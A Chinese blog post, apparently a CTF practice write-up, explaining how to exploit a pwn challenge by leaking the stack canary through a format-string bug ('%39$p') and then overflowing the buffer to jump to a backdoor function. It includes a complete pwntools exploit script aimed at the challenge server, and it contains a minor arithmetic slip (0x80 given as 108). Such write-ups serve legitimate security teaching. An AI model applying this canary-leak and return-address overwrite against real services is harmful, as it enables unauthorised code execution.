rrroyal’s blog

要做最优秀的,冲冲冲~~

0%

周练

一些简单题的复现

因为我太懒也太菜所以一直没做什么题,,只能这样了之后一定好好k题。。

for

估计是周练里最简单的一题hh,先在checksec一下看保护。

如下

接下来就放到ida里面反汇编看代码,我找到两个可以利用的漏洞,一个栈溢出一个格式化字符串。这一题给出了后门函数可以直接用来覆盖返回地址,然后这一题也是有canary保护的直接栈溢出显然是不可能的。

代码意思就是给出选择1,2,3分别进入choice1,choice2分支,3就直接退出。

choice1是一个溢出漏洞,choice2是格式化字符串,所以基本思路就是利用格式化字符串泄露出canary然后栈溢出用后门函数覆盖返回地址。

先计算一下格式化字符的偏移,直接试一下就可以试出来了。

可以看到格式化字符是在第7个。

再计算格式化字符串到canary的偏移是0x80=108是32个偏移再加上7就是39。所以输入%39$p就可以泄露出canary。这样之后再覆盖返回地址就可以了,后门函数已经给出。

这样之后就可以getshell了。构建exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
p=remote('ctf.asuri.org',10064)

context.log_level = 'debug'
system_binsh_addr = 0x0804876B

p.sendlineafter("APP","2")
payload="%39$p"
p.sendline(payload)
p.recvuntil("0x")
canary = int(p.recv(8),16)

p.sendlineafter("exit","1")
payload='A'*0x80+p32(canary)+12*'A'+p32(system_binsh_addr)
p.send(payload)

p.interactive()
-------------本文结束感谢您的阅读-------------